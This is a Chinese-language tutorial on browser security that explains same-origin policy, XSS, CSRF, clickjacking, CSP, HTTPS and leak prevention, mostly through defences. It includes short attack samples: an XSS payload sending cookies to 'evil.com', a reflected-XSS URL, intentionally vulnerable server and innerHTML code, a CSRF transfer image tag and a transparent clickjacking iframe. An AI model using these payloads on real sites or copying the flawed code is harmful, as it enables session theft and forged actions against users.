浏览器安全
前端代码运行在用户的浏览器里,天然暴露在攻击者面前。常见的 Web 安全威胁——XSS、CSRF、点击劫持等——大多围绕浏览器与服务器的信任边界展开。本文从同源策略讲起,逐个剖析主流攻击的原理与防御手段,帮助建立完整的安全意识。
一、同源策略(Same-Origin Policy)
什么是"同源"
**源(Origin)**由三部分组成:协议 + 域名 + 端口,三者完全一致才算同源:
| 页面地址 | 目标地址 | 是否同源 | 原因 |
|---|---|---|---|
https://a.com/page | https://a.com/api | 同源 | 协议、域名、端口一致 |
https://a.com/page | http://a.com/api | 跨源 | 协议不同 |
https://a.com/page | https://b.com/api | 跨源 | 域名不同 |
https://a.com/page | https://a.com:8080/api | 跨源 | 端口不同 |
同源策略限制了什么
| 限制项 | 说明 |
|---|---|
| DOM 访问 | 跨源页面不能读取或修改对方的 DOM、localStorage、cookie |
| 网络请求 | fetch / XMLHttpRequest 默认不能读取跨源响应(简单请求可发送但读不到) |
| 存储 | Cookie、localStorage、IndexedDB 按源隔离 |
跨域方案总览
| 方案 | 原理 | 适用场景 |
|---|---|---|
| CORS | 服务器返回 Access-Control-Allow-Origin 等头,显式放行 | 服务端可控的接口跨域(推荐) |
| JSONP | 利用 <script> 标签不受同源限制,通过回调函数取数据 | 只支持 GET 的老接口 |
| 代理转发 | 请求发给同源代理,由代理转发到目标服务 | 前后端分离开发环境 |
postMessage | 跨窗口/iframe 的受控通信 | 跨域窗口通信 |
| WebSocket | 协议本身支持跨域,握手时校验 Origin | 实时通信场景 |
// CORS 响应头示例(服务端设置)
Access-Control-Allow-Origin: https://a.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true二、XSS 攻击(跨站脚本)
XSS 的核心是把攻击者可控的脚本注入页面并执行,从而窃取 Cookie、伪造操作、劫持会话。
三种类型
| 类型 | 注入位置 | 特点 |
|---|---|---|
| 存储型 | 数据存进服务器(评论、昵称),所有访问者都会触发 | 危害最大,持久化 |
| 反射型 | 数据出现在 URL 参数中,随请求拼接回页面 | 需要诱导用户点击链接 |
| DOM 型 | 攻击代码不经过服务器,纯前端 innerHTML 等写入 | 服务端难以察觉 |
存储型示例
攻击者在评论区提交 <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">,其他用户浏览页面时脚本自动执行,Cookie 被窃取。
反射型示例
// 后端直接把查询参数拼进页面(危险)
const q = req.query.keyword;
res.send(`<div>搜索:${q}</div>`);
// 访问 /search?keyword=<script>alert(1)</script> 即执行脚本DOM 型示例
// 前端把不可信内容直接作为 HTML 写入(危险)
const name = location.hash.slice(1); // 用户可控
document.getElementById("welcome").innerHTML = "欢迎," + name;
// 访问 #<img src=x onerror=...> 即触发防御手段
| 手段 | 说明 |
|---|---|
| 输出转义 | 把 <、>、&、"、' 转义为实体,让脚本无法解析为标签 |
不要用 innerHTML | 优先 textContent;必须用 HTML 时对数据严格转义 |
| CSP | 通过内容安全策略禁止内联脚本与外域脚本加载 |
| HttpOnly Cookie | Cookie 加 HttpOnly 后 JavaScript 无法读取,即使 XSS 也拿不到 |
| 输入校验 | 按业务规则校验格式,白名单过滤(但不能只依赖它) |
// 通用转义函数
function escapeHtml(str) {
const map = {
"&": "&",
"<": "<",
">": ">",
'"': """,
"'": "'",
};
return String(str).replace(/[&<>"']/g, (ch) => map[ch]);
}
// 安全地插入用户内容
document.getElementById("name").textContent = userInput; // 最省心
document.getElementById("name").innerHTML = escapeHtml(userInput); // 需要 HTML 时# Cookie 设置 HttpOnly 与 Secure
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax三、CSRF 攻击(跨站请求伪造)
原理
CSRF 利用的是浏览器自动携带 Cookie 的特性:用户在 A 站已登录(Cookie 有效),攻击者诱导用户访问 B 站页面,B 站中的恶意表单/图片请求会自动带上 A 站的 Cookie,服务器误以为是本人操作。
<!-- 攻击者页面 B:一访问就向 A 站发转账请求 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000">| 对比 | XSS | CSRF |
|---|---|---|
| 攻击对象 | 用户在浏览器里的数据(Cookie 等) | 用户已登录网站的接口 |
| 利用方式 | 注入脚本在页面内执行 | 伪造跨站请求 |
| 谁发起 | 浏览器(执行恶意脚本) | 浏览器(携带 Cookie 发起请求) |
| 本质 | 代码注入 | 请求伪造 |
防御手段
| 手段 | 说明 | 强度 |
|---|---|---|
SameSite Cookie | SameSite=Lax(默认安全)或 Strict,跨站请求不再携带 Cookie | 强,现代浏览器默认支持 |
| CSRF Token | 表单携带服务器签发的随机 token,服务器校验 | 强,需前后端配合 |
| 校验 Referer/Origin | 服务端拒绝来源不符的请求 | 中,可被伪造/缺失 |
| 二次确认 | 敏感操作要求输入密码/验证码 | 强,但体验差 |
// 前端在请求头带上 token(配合服务端校验)
fetch("/api/transfer", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken, // 由服务端在页面渲染时下发
},
body: JSON.stringify({ to: "bob", amount: 100 }),
credentials: "same-origin",
});# 服务端设置 Cookie 时加上 SameSite
Set-Cookie: session=abc123; SameSite=Lax四、点击劫持(Clickjacking)
原理
攻击者把目标页面通过透明 iframe 覆盖在自己页面之上,诱导用户点击"看起来无害"的按钮,实际点击的是底层被劫持页面的按钮(如"一键购买""转发"):
<!-- 攻击者页面:iframe 透明且铺满,覆盖在诱饵按钮上方 -->
<iframe src="https://victim.example.com/action" style="opacity: 0; position: absolute; top: 0; left: 0; width: 100%; height: 100%;"></iframe>
<button style="position: absolute; z-index: -1;">点击领取奖品</button>防御
| 方案 | 说明 |
|---|---|
X-Frame-Options | 响应头禁止页面被嵌入 iframe:DENY 全部禁止,SAMEORIGIN 仅同源可嵌 |
Content-Security-Policy: frame-ancestors | 更现代的方式,可精确控制允许的父页面 |
# 方案一:旧但兼容性好
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
# 方案二:CSP 指令,功能更强(frame-ancestors 优先于 X-Frame-Options)
Content-Security-Policy: frame-ancestors 'self' https://trusted.example.com服务端返回上述任一响应头后,浏览器会拒绝把页面渲染进被禁止的 iframe,点击劫持自然失效。框架层面对安全敏感的页面(支付、设置)务必配置。
五、CSP 内容安全策略
CSP 通过 HTTP 响应头声明"页面可以加载哪些来源的资源",是从源头阻止 XSS 的重要防线。开启后,违反策略的资源会被浏览器直接拦截。
常用指令
| 指令 | 控制范围 | 示例 |
|---|---|---|
default-src | 未单独指定时的兜底策略 | default-src 'self' |
script-src | 脚本来源 | script-src 'self' https://cdn.example.com |
style-src | 样式来源 | style-src 'self' 'unsafe-inline' |
img-src | 图片来源 | img-src 'self' data: https: |
connect-src | 接口请求(fetch、WebSocket 等) | connect-src 'self' https://api.example.com |
frame-src | iframe 来源 | frame-src 'self' |
report-uri / report-to | 违规上报地址 | report-uri /csp-report |
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; report-uri /csp-report关键点
'self'表示同源资源;'unsafe-inline'允许内联脚本/样式(会显著削弱防护,谨慎使用)。- 内联
<script>在严格 CSP 下被禁止,可通过nonce或 hash 白名单放行。 - 上线初期建议先开启
Content-Security-Policy-Report-Only,只上报违规不拦截,观察合法资源是否被误伤,再正式启用:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report六、HTTPS 与安全传输
HTTP 是明文传输,数据在链路上可能被窃听、篡改(中间人攻击)。HTTPS = HTTP + TLS,通过加密保证传输的三要素:
| 安全目标 | 含义 |
|---|---|
| 机密性 | 数据加密,窃听者无法读懂内容 |
| 完整性 | 数据被篡改会被校验发现 |
| 身份认证 | 证书体系确保通信对象确实是目标服务器 |
前端配合措施
// 页面内强制 HTTPS:若当前是 http 则跳转(服务端更推荐配置 301)
if (location.protocol === "http:" && location.hostname !== "localhost") {
location.replace("https:" + location.href.slice(5));
}其他实践:混合内容(HTTPS 页面里加载 HTTP 资源)应避免,浏览器会直接阻止不安全请求;HSTS 响应头让浏览器强制使用 HTTPS 访问;WebSocket 使用 wss://。
七、敏感信息泄露防护
前端最容易犯的错误
| 危险行为 | 危害 |
|---|---|
| 把 API 密钥、私钥写进前端代码 | 任何访客打开控制台就能看到 |
| 把 token 存进 localStorage 且无过期机制 | XSS 后 token 直接可读(存 HttpOnly Cookie 更安全) |
| 日志/接口报错中输出敏感字段 | 泄露用户数据 |
| 明文传输密码 | 链路被窃听即可截获(配合 HTTPS) |
防护清单
- 密钥不下发前端:需要保密的密钥放在服务端,前端只用短期、受限的令牌。
- 敏感存储用 HttpOnly Cookie:认证信息优先 Cookie 而非 localStorage,杜绝 XSS 直接读取。
- 日志脱敏:统一日志工具,过滤手机号、身份证、token 等字段。
- 输入输出双向校验:长度、格式、类型白名单校验;输出统一转义。
- 最小权限:接口按需返回字段,不整表下发用户数据;前端只展示业务需要的数据。
- 定期审计:用依赖扫描工具(如
npm audit)检查第三方库漏洞,及时升级。
// 日志脱敏示例
function safeLog(label, payload) {
const masked = { ...payload };
if (masked.token) masked.token = "******";
if (masked.phone) masked.phone = masked.phone.replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2");
console.log(label, masked);
}浏览器安全没有"一劳永逸",而是一套组合拳:同源策略是地基,CSP 是防线,转义与 HttpOnly 封堵 XSS,SameSite 与 Token 抵御 CSRF,HTTPS 保障传输。每一层都可能有缺口,层层叠加才能把风险压到最低。